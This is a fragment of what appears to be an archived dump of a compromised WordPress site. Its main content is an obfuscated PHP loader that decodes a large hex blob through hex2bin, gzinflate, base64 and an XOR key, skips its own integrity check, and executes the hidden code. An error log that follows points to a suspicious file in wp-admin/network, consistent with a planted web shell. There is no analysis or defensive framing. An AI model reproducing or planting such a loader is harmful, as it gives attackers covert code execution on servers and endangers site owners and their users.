b3ed1aacff5fc19dad4fcdcd523ce647cb8cdc93fded8a2bec7eb397fa967003cdd2ff99f9f81db39005edfa960af06729405e0a8f67db212e308f059de19bbf6fe32df7dcad7cdc1bf5b8d5db383f6fb3c5ea5731dd467f5fe5d999f8c4882fecfaff84ad7fe5eddfa50b188015f34193e86fd7a447dc3e2eb5215afa8f5d78efcf1c956529c5b7c2436cfae56deaffcdfd3fe47fe524b32b067511be78d2fe209e38397f3d5f5a64e05e4130ec05f6dc992d936403f61fd16c6bf3c97827dda7d7a876affd4fc719e877e5f9b74249c6f6e470bb9e1ec7a0df941e62231749a6312e4af9e13be4cf9e9f1790acda9f82d4f3c6f79f967350f7d27c5cd2753216f8857e6c8bf41fe37d82331e147fd3c7c063c52e69723676e2470bde3bc74803546441e658916d358d9123e54877973ed1d64c66f7088317af1a717ebf112e56b07e7bf27d18316f9b605fa1ffcbf4635bff8d570b8cc3b78d4727607cf9e83fe25ed00ed9fcce1fcc1c0f084f760d581eb77e8319ea90642ba20fe52f465f96bfebcbfd77c22ce23ec47498b5727d99fd64fa97f7ec03760af53d13ecc1fc09e7d7dbfdcdf02af3f8fb29507f87a516419e059d45f1f80271233b6415e105f6c77d2ba48411f24aaef2d10ef8e47f683ce6d93918ff19eb0fb3a32f35901d7cf9d39eeb7f46d3d3d94b7773f8e2d7c9fd3bc7a3f9fe9ec3ccad4b29d4f2de1aafe6fc6f642fed5fcd0e7babb926fb3dbcb4b735fc5f75fe1fb6d90677ea1a54d8d4b193f6e2ed104e71f129af65f68f83e1e4dafaf877cd0c8f5bd00ec41e4ab203fc9e44175b623cbb63fecbdf536554afee922affc4132ffae5f6dbbac4fd4c8b13e91f543953784e5dbe133e0fde6da3f603e6187f9e2859ef37bf9e67a669a817ca8259ecbac9cbf26286b59ed6ea738dfd0a78e99932890902fef7cf6ca7a07ec1fbdeac7f3955d6ccd9af37ff0961ed6bfad5c3f037d9a75a440c779089fae57cd7f5b9a4b03f01cbcbfa912da1abbe113f82f859d54fdf1d6ad0bfb25691db67e5fe7b700fd43daf8f978ff4502f25d7c9d4f1decbbe8f864aedc3f3f5ff37c77879a78e5b53e11ccbc8cbfbd70789eec60ae4c5eaafab25d8f9717260f284da2f189ef7c76bd6bf9fbe2fbd94f86bcfdbc3a2fdfe451500ae4cf823e6b1e005f617f1bd762bf63fcaddce58ef17d6e65f0bbdd915f05f2d1ec29692c001e7fe1d28e73a02bf00726a08fe7569ecf3cd7789c78690bcedf18fc458cdff00bf5ebb34caafa36fbeabc39dfe4733c2c5a9f63d701798eb6207fa16573e5fb09bbb3f374519f0876b583fc30d04716be5f13e493ebaf8ffcabfcc3dbc4b9c1736d781e9047c4ebc656f8fafc391d9176cf8fb6a0aff1fe450d7e7d7ff161bff2e9aff09524d90fa600f6cf06f940bcb4b29f2ce5543fb83b93872affe53c63fe4c549cd1691e4eddf9adce47d50f3012918f6317b01ea46979fca7eb337b5fcdfbb49bc4cb674644bb4e25ff389f428f90e77e377f7440f9c3f8b0246702ec77c9ef3ff1fdb7c5cff945e1bdec07508c8efd00187f4ed88e4afe50f5590d8fefcfd7c9fb77f9afcef7b9fd12f218fccd554fb0bbe01f617df313c8eb51bf097a8ef118b8be5ac943e24447fd72f3bc54f6c64ee0bc5d9dffcbbf37e706f1ff537981f3d482f3c9e9fcafe4c53ed9dbebe78bbcad20b7fe661fce7ebf38f5c7bc9c1f3b8fe477d0c797fc9e91c54f93233fffc87f9e30be9be16d3f8391d7361302eb8ffd07bce740b41f70fea85bb73eff6cbfcff55355afcbf5f1fec8cf92018f9b347f2445e401dec17ef97f9387337b7143bf6ea6346d29703fb8ff69dea9ea87e24c8e1b58df72631e84fd2255f977dbda795ec9ff64fa4f3ef1473b98df37b92dd8bf4ced035e83f53fce8f736679f6410e32e0ab1df63caff889e4ab9e00de0feb137b645ed834aeb5b7da01e4ef4a1e001fa3fce0f7ffa7ed9f89f166b0df3b9de7945afc73c47f7c48065cb4f447f623f86760afa2b9e114e7e7a3c2375c195f766af145bd7cb37c7701f25dd5ef2829c61354f350f277ebf00c3e6fc957f41be0ff46a2300d17f26dfdf8833c7f209f43077f4016ed0f2b29e0fd32cd22dedad18c2d417d499cb92570580fdaaac5074ee8017e5ed6e9f705c89fc6fba341ceb5c752e700f8b94b68a6cecff044d94fa258b279675c720f4f1cfbbbaafd22427964fd55dd2262fd80513e2d25cf549f03fd1096fca3dbeb577e1628e3fb2de4692c5fe1b773793abeff997dda3952ab51ce5fca307fd4f603a3c1f85d04ed2fb70b5cba9a92b08ffd3c007f82bc57fda8ebf40f9c17665ff39be7e1d6f9283c1abd1815bf6c52f283d70317f0f468de9808ddddc86bcecca2f3c58f719221f2f51cacdfc8e1fc4797cff36b7fa3de3f7a108ffdb701af9b4cdf4ee830e79ad5fca6c28bfcd130ce97c8b705fddc12144e78a53993773999cce0b3f2cac539f85337f5df4b9cbf8d44c43779e67a180f05f906cc05fee0de13a2173df2909fb9c27e01a2bc7b09635c8fd03bf6e33b5edf4c725ef529ec5f72797e922b3c9c38b92d459b29f2d17dd99b79f07b90f7e37abc24e1e358c47e44dd9de3e4de10f4e554ea8ce0f9ff37d6bb01faaffdcbf5d6e17aea8feb5df517eff1794bf0c331c8ff63b03757f7f022dc7f6372d83f44164ddedf1de7db9c9d57165f001b3917016f235ec2781ff138e4df1ea427bed1a75c847c549dbd8f476731c7ec3b89c21eeccf8af9d3c51d7dcbea6b7317f317b2c4f81db9cbfafb7336d607c2feafd09fade23da07fbffa7f0a6381cd0b07bc3078f1fdcfb1683f633d02c64f409e91ffce9ebf9f84f07c98ef627c77b0778c8ff681f6e526be4c6cb4378d8aaf80f8a4ecc723d8657fa2aabfebcf78296bb2fadc33f991b83c9c476c9edac65248c4f2f172d41e8dc81ee54555d2d76151eca4c87c329562d74f48393feea9681efb5bdec67757f196f88ebf5b8f678ffaea0dfc93079d18e579f816bf41be617c30fc494414c0a34b0af894b60d3e033cafc0facc8bff91f888cab17c36f80b2b781ffcfe25be88bc7742d3d779e4bd3952d4d423b89f1f0a3a3df367f9b25ee7548f5dabefedcabfa1c7fa6556af32adec51f9597fc6fc101987cec006b408fef3bdf806c8f3738f077ceedcc403efc7fd3dd31f388f7454ce4b3491efdf427fe9e83f61bc9028b20a78a937c27a198e4bc1dedb7a81fd175b57eb0bfa43993c1272a5dfec501cc631e0cb6903ceef0749bc572b9fbc4f4efcb4eff1c2fafdb2593e8df074b1c8c36747c4f5db61fd457f80f199d5a93f64d5bfa59c0f76e7fc029eb5238c170884eb807e5ed5c6e72a7d26edc9a31523bf389f998af5293db5beeac56dc0a75ff861f0e2441b5bc3fa01b03fb955bedf29de6733bc244bdcde4ce425f3d723c0dbda3779ade63b4c4ffe2be0bd36e8a70aaf957c214fd8b2f7037d98947850185b0ed705fdd332313fc097f59aa3aa1ee72abeb553e5f895e1c1f5339ff792dd90d9c3495b16c05f52f20f9017d2e76bfc95f3fd3e9ddfdbe7a38caf94f37eca7efdf5e793c58b08d6d3ee9e8d53bdf4f9f9c2fa6f6b799c4fa1c5e7fafbbcbf4113fcb3e2e9c6f9eb20dff402cfb979e7858f4afebdb05bb27a6290af2a7e75aa17c37e133aaecfba057800fbc9fa2f86a77cda07cc57a4f0b9c0fe018f9edbaab5df12c7a9b01f710dde2ef13c417cceadc679e780f9f7b2dfd4c5fbaba0ef117f3e5bbe03fb1962ff92b577d8bd613d9aea7184d98343b3e87359e4389da781d389cbfe6914f0821d584efee66b04f0421e6971e41a5ec48f47423a71844faf91cff5aade67bafeea2700faf0288ff7e3a7dfe3a527f905fd130beb708cf5a60ee8db7a3c5dcd33dd10368f564b7cf08f42ac877d307c03d62b0df498eb327fc60fdf05397d7da59dbe0f7806fd3949b11717f57d253fb52335e60f80c70d7c7f383f9f93f3fdb2d367d6dfed677fb4c0fa52d0375778d146fecc931ed5c6bf55e34e3c07ebe54ff22b9ffa6fb709ce1f706afddb737b440917693a3dd9f7b3fe0c204f7ef8417cd919fa3eac6f27d77d2f1d2698dfccdaac7e9b728920ef66f37bf1269abfdc89f760ff4101ec05abb7327db285f7d1e7117d76a42ee0975062f68c86edb17adbbfd223e1b3e25fc3fe9efa37ade78456f10ae62fbfbf785c72c73f5cf5914f8ef57780372fe6b562bfa8c6b7791c499f6f266a190fc17957fff4faf28deb9fe67d80fd148303e01d85a4188f86f7bdedafb3f9a355ff91223bf51b135582fd67762aebefe095f353b0df6582f898eb8a0d63ab9cf37f987fa3dc941f49b41fcfe247a7f92855bfdecf52ffd919c88f8ffdbeec159bdf07fa747228f3bb4d0ae7a325d8f5feac231adff001f2d524a5b8d41f703e2c12be8fc657f913b5b3e953d65f06fdeb6caca17f1bc52428cfb30c786f1a736c7ecc2b6fd4c8af5d00be88c19ea94356ff6b633fdb47f4ffe448ee56fd3e38d7998267887cea566352eaf3bafc70cdf5bbcd69ec44b61071da41f89cc71d05f4e5b4af1623f990ce5f735d667f976afae77bf3cfe9c8dc4fe1fc894224b3fe3f584ff34433d40717fc637f3e027bdc7146faf1fbccbfc4f8d9c93e73d1db48a214ec443d5f334adf30bea017b4a57132e0db2ee307237f14f523e87f16efb39cf96ee093197c7e04fc10a3fc827d50ac228dd19fb41c0af67d0b78318dc607af5563df96761c09fddcc3790a1df8fe522bcae7b51be480f141d8aff13cca9f419e5aba438ffc48e40bd45d6f8bf1a9c12afa70a418f9166dd0ef33aceff26df204f29d8c905f1ed9afdec82eebb56aceef306f7d02de437c7b94870fe45bea4a146b093fbb53af02fa3f7b1a1629f6476856f597fb6191d988b700cf62bc6e21c0f38cb5dbf56661947d045198205f1ff9944a2477667bf63993788c17e7208f725b4922d0a7b7ebddaaf84e8cf35bb0be08e415644426a8cf83bdfe318da6bbc001ff7159d6d3b3feb38007d1ff0d085b2f7abb3ea6f46775251c93482eebc53755fd38ee8feb3f4e28f243eda555dcad0f1db378b0fd55dfa0c4d9b3b7345796203f681ec64bf3adaacdf73da715bb41251fc8e7c6fc2e8be754fb5908b1ebf86a7d7f21d83fde7b10eff03958bf0fe47f44807756f2b247f92abfcc7558febf3c4f22be0f7ca6389f0bff3ecc8b4f15f91fce3c76fde424efa02f39a260bf356b7d4b7f8f7c59b8d02fc7fdc6f32a285b91e316953c3fbc3aecbccc0c17e3cf06d67781be07fc02e7559610dfa729b66b3300efd9ab4e47e7e73b9c5f3a747637e5554a68489c740df80acfcb3bec9760deaebfdd8a98ff3d30fb07df4fba7f928fdafe99e5f71509fb5be455bd08eadf79bab0a7fb516431fdb7007fb6cfa76c5e25e06994ff43e9dfffcc67aeaba7aad98f83e547efa2f6559f84fc24e457996ed8f5b17f1c9fa68ed3fd5e2fe31deb657cdc4ff8bdcfeadfc07ffa07f8ae30efd6af7ee7479cf56fdeedd8fc38c01b5ffe45be2be72598a6fa2bbe44f9fc153f6249f80ce43ba3653e0de7857239ce0b084ffe94f0131e1cdfc383a2fd437eed321ec0ec3789c279554fbff3883f9c53f0a725efb92e5e7a239e56cdd7b3c1be90b999c07a491d8afedb57fc40df97feb157fadf1b02f612f31bbe7dec77f72a80fcc75bf3e77ae35bf94a998a7e1e0ce4ed67b0929fb13f36c6ffc5b23fdb6fe29b259ec1786c7dfcb7f6f34bd56f1df459d96f5dc0f8b8f3951f25933727ef94fd2d0a86379e11af2fa269eefa441d201f7789f16392c2fe8f997c55f1821ff2d5b5f18aaffc2f9b1769ebd174698bfa438f47be66f5f9c0f35fcf0bf661c53dc07e1d8609954dfed7f9f2f2fd69c8f6ff877cfefbc2a389e694f5ee57f257f229e32407f9037b8dfd52f93a3ed88df5bf111f17e807f64b31c0ff2aebbdf8a8cc276ebffc1dde730dd25907383f2432feb2ded7f9b0479c0f2d2ad3f37c6282fd58459bbdcfffa2fc651be497aa5e79ffb91cb53c375fe2f9607cbf2a1fc1fc177987f1b21df66b1c265e4af80ef83ffe8e34b0bec1cbc0df7919d836f6ef7d9b9256732cfce5bcfe325e5e7ea63dd4af55fec2de7b7c8f272df07f62b328eee7f36ec8dfddf8ebc87c067939c68377cec85e01febf8cef2837eab9bd6d111ee496e1e7f1cdf8acf6673ec9b93f77cc7f215ebe88bfdf7b5fcba31939e7b7313e8e37b3ec10f3adef0bdba9c14bf3d21f433ebbd342fd7f2f9ef6ed7d2ef3a197f8f8d7f6e4b85f604fc1fff0e0bc64f259febce43b70477d7ae23fc37efe5cffc45379987700ffe1bcaac923117c16bf0d5c677979fee60f2f72da94786fc6fae33448a263bd3a0f9e23a1d88f10f343b7f27ba5fdace2d9163ffd653dfe89efb046bee759bcb99a07ebb0fb0df2e219fc29163f7484d87a417be77aab7e32d9027ec1791ced73fb7a3e8f97f0610878f4273ed83fc927b60cae4345381fc85b715672dbc47c5fee582f5cfccefa3bac4bff1af5cbafef8ffc418c578f5b3ff7a7f8e21fe3feecc01f3bfcb65f832429a08fb354cc7d7b7e11ef2ee791333c51607dee04ce939c8df13cfdd80f0ed643ee56f1769e9d37a214da857c14acdebeb2bfe01fc611310bf4cf5b47ffd8003cf8b3bd58174d23bf9faface11332fe994ee437a7c1957c4182fb152d7dd57face23133d437204fcf20ff0949301e1f45f61ef3c5a7f8d5f93cb872fe53e3f7f6ebd7f65466eb6963bd5e207afb45b163e7a1c20b7fc44bf5f9b21ff4ef05ffe0defadec9577d8bbf2e9cfcfd0e3f563593fbfae385264b2d208ef4a4ec7a8d309aaf226da211813c650b430b3bf365465e6d32863d1c1a9add262be5530bf8fbfba3e6384ff49c8fcdfc4f5b66f9858a6f5f139f8963ffdc9e8c629cf743b0bed1c1dff76482f3d73bc8073b975f7123e48cef247499bc491a9b677a979f6726fcbdf8eae1273c7ac33eb2f9bcf7ed6373e9037ee947c69b6b1bac7f56e0ca2bf6fc6a36eb137e53f9df0b9cdf7c3c9fec7eb7f10ac6bfb7f7e2dfb5f98d0bbe45da959473fc5fe5fbd8fc4f635bfa1bc80786e7cb93e75e616fdd40d087bcdec1f9c5557ceb7160e7b331eb2752da2fc3893e82f5bf905f1a751c91b6116fde8b9fff4d1e8d6a7f32772075bad84f18e36fa3b27ef5c35be5fbb25eb5c3fa0b0487667b58303c63bfb07e8ac2a1e423478141bc0efae78b78f280fcdb7bfc8b7bf18405bdb37f37ea59b09feac09e2e8ffe96f63bfff7a85f58bdd59ccbd776711e8f56787c9fdffb0f37fda753bee56bfe8c7e9cf7f9233fe69ff8eb380f17f3d597f821da381287fdad5b820cfab4d8c1f9c2feea0e85f368de8997dc78df2adff885f73b8e8bf5a9fcb7fc3cfa27b04f4b79dd647cb23fe2fbbff8c717f1199fc5e7ba4ff87ebf91879bf5015ffce1c3b19fcc8cc8319c3f9c57f4dffabbd8cf11e365dcffd8feddcddf97fd8277c85f00fff12b7ffd22a56fa57cf9cbe3ef7f833f411f303ec54d7d70811f274d4b417cc7a9c32844befca6e7a5c88f3de567bfe6cde8707e603d6ff1237e595fd14fc856043c08fe3cebaf56e69fbdb949ff8fadbf58c61f603d3f5519e7854d7fe3bf56fcb2aafff2f17e3c999951fe166c8c469fe7e1f3a91e4dd3b92cd2d673e6cf29a2f9a42bb98cf8422dfbefa60be13a5e7b8cbf476ff68aa3e82ffc6a3f6ef0856fd8bf5b7ca333fee1d77c7241992c86f9dff0f3b7f80f216b5fb2f73de12b7eed4bd8df01eb378a6ff8f9aeff5afca3f8ce37bee3195f1fe38f9f383f1bf46ee4e6932f7e4cf47ff07c627ce1e89f219f0ae73d15698cf31e7a80af34de7f0947b4eb07e4a3e7153b8d72c4e4a2a760ef374c3f5aa1be1c78d1fb911fa396f95db6be0becdffd1fc7bbb5637ffd0d890dde6ba2ffff92ccf7b214ad7ae89f72605f23f9cd6ec407d6bf4c50fee88fdb47fbf79d6f7f1e6fc5f9e809c69fbdb195637f13a3e417c9d9eb5c991cf94237eb376ff25f313ec2ffe40fddac2739febdedd7f16110df7957fb71511f8cf5149c6bd902f70d5f317f245b8a9e725e2f80f332013f7df16fcfe27d5ff562588fae29cf2f051d94fa3b12cbf96509f8e3f077a5e42b57fa8ecd1b7a2dfb059ce395e7b29fdbd7f35fd7b756f5f538efaeeac7bdbbe6d75ed58fd94bd147be27a9fa61d7d7fb30ffe02c3e87cfe7b9c533ea13ac1f43fdefb9cd5c2f28cb470ee179d1ffb36c7fa961bf78a5967f7aed7fc2f5270fac9ed09e94fd11307eccfa271cfb3194cffb4a959db499602fdb548bacfaf8657d7dd7cd7aa3fafa9adbe7b1e45b96f17f8de573cef885657f22bd3c7fdb51d5cfe26dfabb7aaaeff3bceee40baffc8d0a1f78657f99f8477e5b0cf21b0c9209710ecdbd45fc259c6fdbcc9d1fe2d5f6ddf377fe7c55fdd167dd3cdb29e01b785fe443623f14d60fbd8af796f294b37ae8f3fe807d8d0f5f9572be31dff3e4b4caa77e4e7e634fbeed67d98fc8226103f4e903f26909eb7f77ea9f55e507c847b00ad1de5df507e93c92c42b4ef9e424c77949f68b1c4dfe493dedf97c6d59a258cfb55493496048e1db911ffe4fd7e745b91fcfaaab17fccbdfafea8bafe6896d7f92a795e7eafb5e14f6d8f7017f0592ccebbcff93fc5ed46ffd25befd350f4c38d6bf1efbd7b17842557f9ab0fe13c8471cb1feee2960f2d7819d1b70be9e858bf94cf103f8cbbbe1aff299d778ee6c7e7711cd30bf5ed6ebd1914ad319e3a3b37af8b2bf74590f8bfdc7f3d29e2c9bdde0c079e7fd27552de117027df9457c7c0078f4d11939277b6f9de44701f997315ef0addfde3f5d1fcbfdb7f5d9f7fffe9fe943ec3ff5bfa50fcbfe50ff47f4e1453fc1ff7d7d88fdc6feffa30fcbfeb5ff1fe8c38b7a8c8a4f20fad8efc3f9ce77704aff12fc81489209f2a152478adfa6e4a29e3deaf35c4bb08dd1848f701e7d83d5833a9e3b88e414f918868ff5421cc1fcfa0ff9f19bfd537efafbbdfe1f880fcf9ef7f67c5eef57f5df477ed9d17faaafbf40ff488ea26065b6fb7cba66f5f345fe8afdc4758eabfc03f8cf277fc9ea45f2ae36e1e2cd5cf20a83cb63d5516ed653dcad1759557c8a625bcf1f42be107c1ff0f6ccb22d56bf67aee9a3286781be2ce56116b7da631bfb976e0b61edaca6b15cf663f80d9fe88cbf743adf47be463d5f84f143cef3b175fddc4651579978ddb5bc6e45a1ddda3901ce97537eae07bfd78fe78e7df9737c0cf9b839ed8eb03f0d47bbc453464aa53fd13ffa311e52e38f9feae5affdf14bfe61e94f6917fe64e2085b53b169ec1dbcf60ff1bada7e27dffa119cf5ffb9a8e7c17cb532d92accbf7522561f1885ffcfff0b';
$hex_data = substr($hex_data, 9);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmPBSQDp13', 'kmKxVJvF97'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtnxSMUO65', 'gtLTYnBa76', 'gtxiHjma85'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'f98e8f303c72690a09490ccde7a6cb56') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_yQAZOwpt58($plain_code);
}
private function kmPBSQDp13() {
// Key segment 1
if (68 > 50) {
$jv3 = 'branch_a';
} else {
$jv3 = 'branch_b';
}
return base64_decode('bThyVmhP');
}
private function gtnxSMUO65() {
// Gate piece 1
$jv3 = base64_decode('ZGF0YUR3d0JlbjYy');
return str_rot13('48r9');
}
public function pubyAPxv59() {
// Public method 1
for($jv2=0; $jv2<2; $jv2++) {}
return 'valViHm28';
}
}
LoaderOjoola84440::init400();
// EOF
error_log 0000644 00000001256 15120260073 0006461 0 ustar 00 [09-Dec-2025 06:26:40 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/wp-admin/network/zc-729.php:1) in /tmp/phph4NO0d on line 4
[09-Dec-2025 06:26:40 UTC] PHP Warning: ini_set(): Headers already sent. You cannot change the session module's ini settings at this time in /tmp/phph4NO0d on line 16
[09-Dec-2025 06:26:40 UTC] PHP Warning: ini_set(): Headers already sent. You cannot change the session module's ini settings at this time in /tmp/phph4NO0d on line 24
[09-Dec-2025 06:26:40 UTC] PHP Warning: session_start(): Cannot start session when headers already sent in /tmp/phph4NO0d on line 27
language/partials/static/auth/xml/layouts/clien.php 0000555 00000002622 15120260073 0016500 0 ustar 00